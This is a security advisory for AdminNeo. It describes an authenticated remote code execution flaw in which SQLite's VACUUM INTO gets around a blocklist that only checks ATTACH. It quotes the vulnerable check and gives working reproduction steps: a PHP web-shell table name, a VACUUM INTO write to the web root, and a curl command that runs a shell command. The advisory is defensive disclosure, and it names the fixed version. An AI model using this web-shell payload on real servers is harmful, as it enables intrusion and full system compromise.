Loading advisory.
Loading advisory.
AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)
Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension.
Published 2026-10-30 22:51 UTC · Modified 2026-10-30 23:00 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package |
|---|
| Ecosystem |
|---|
| Affected |
|---|
| Fixed in |
|---|
| Upgrade command |
|---|
| adminneo-org/adminneo | Packagist | < 5.5.1 versions v4.10.0, v4.11.0, v4.12.0, v4.13.0, v4.14.0, v4.15.0, v4.16.0, v4.16.1, v4.17.0, v4.17.1, v4.17.2, v4.2.0, v4.2.1, v4.2.2, v4.2.3, v4.2.4, v4.2.5, v4.3.0, v4.3.1, v4.4.0 and 33 more | 5.5.1 | composer require 'adminneo-org/adminneo:>=5.5.1' |
|---|
Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.
Originally reported in Adminer: GHSA-q4f2-39gr-45jh
sql.inc.php, line 146:
if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
// blocked
}Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.
Open AdminNeo and select driver: SQLite
Login and create a new database (e.g., stage.db)
Navigate to SQL command and execute:
CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.
curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
No EPSS history yet. Either the CVE has no score or the scores have not been fetched.